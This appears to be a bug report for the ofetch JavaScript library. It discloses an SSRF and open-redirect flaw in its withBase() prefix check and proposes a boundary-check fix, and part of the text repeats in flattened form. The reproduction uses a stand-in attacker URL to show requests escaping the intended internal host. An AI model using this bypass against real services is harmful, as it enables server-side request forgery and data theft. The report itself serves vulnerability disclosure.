Environment
any
Reproduction
import { ofetch } from "ofetch";
// The application explicitly forces requests to internal API
// But req.query.path is controlled by attacker: "http://api.internal.attacker.com/steal"
await ofetch("http://api.internal.attacker.com/steal", {
baseURL: "http://api.internal",
});
// → BUG: Fetches http://api.internal.attacker.com/steal completely bypassing the base URL enforcement
Suggested Fix
We need to enforce that if the input starts with the base URL, the boundary character following the base URL must be a valid URL separator (/, ?, #, or End-of-String).
// utils.url.ts — Add boundary check
export function withBase(input = "", base = ""): string {
if (!base || base === "/") {
return input;
}
const _base = withoutTrailingSlash(base);
if (input.startsWith(_base)) {
const nextChar = input[_base.length];
if (!nextChar || nextChar === "/" || nextChar === "?" || nextChar === "#") {
return input;
}
}
return joinURL(_base, input);
}
Describe the bug
SSRF via Unconstrained baseURL + Open Redirect
withBase() checks if the input URL already contains the baseURL by using a simple .startsWith() check. If it matches, the input is returned as-is.
However, .startsWith() does not enforce host or path boundaries. If a consumer hardcodes a safe baseURL but passes a user-controlled request string, an attacker can append a suffix to the .com (e.g. .attacker.com) to bypass the base URL entirely and achieve Server-Side Request Forgery (SSRF) or an Open Redirect.
Additional context
No response
Logs
Environment
any
Reproduction
Suggested Fix
We need to enforce that if the input starts with the base URL, the boundary character following the base URL must be a valid URL separator (
/,?,#, or End-of-String).Describe the bug
SSRF via Unconstrained
baseURL+ Open RedirectwithBase() checks if the
inputURL already contains thebaseURLby using a simple.startsWith()check. If it matches, theinputis returned as-is.However,
.startsWith()does not enforce host or path boundaries. If a consumer hardcodes a safebaseURLbut passes a user-controlledrequeststring, an attacker can append a suffix to the.com(e.g..attacker.com) to bypass the base URL entirely and achieve Server-Side Request Forgery (SSRF) or an Open Redirect.Additional context
No response
Logs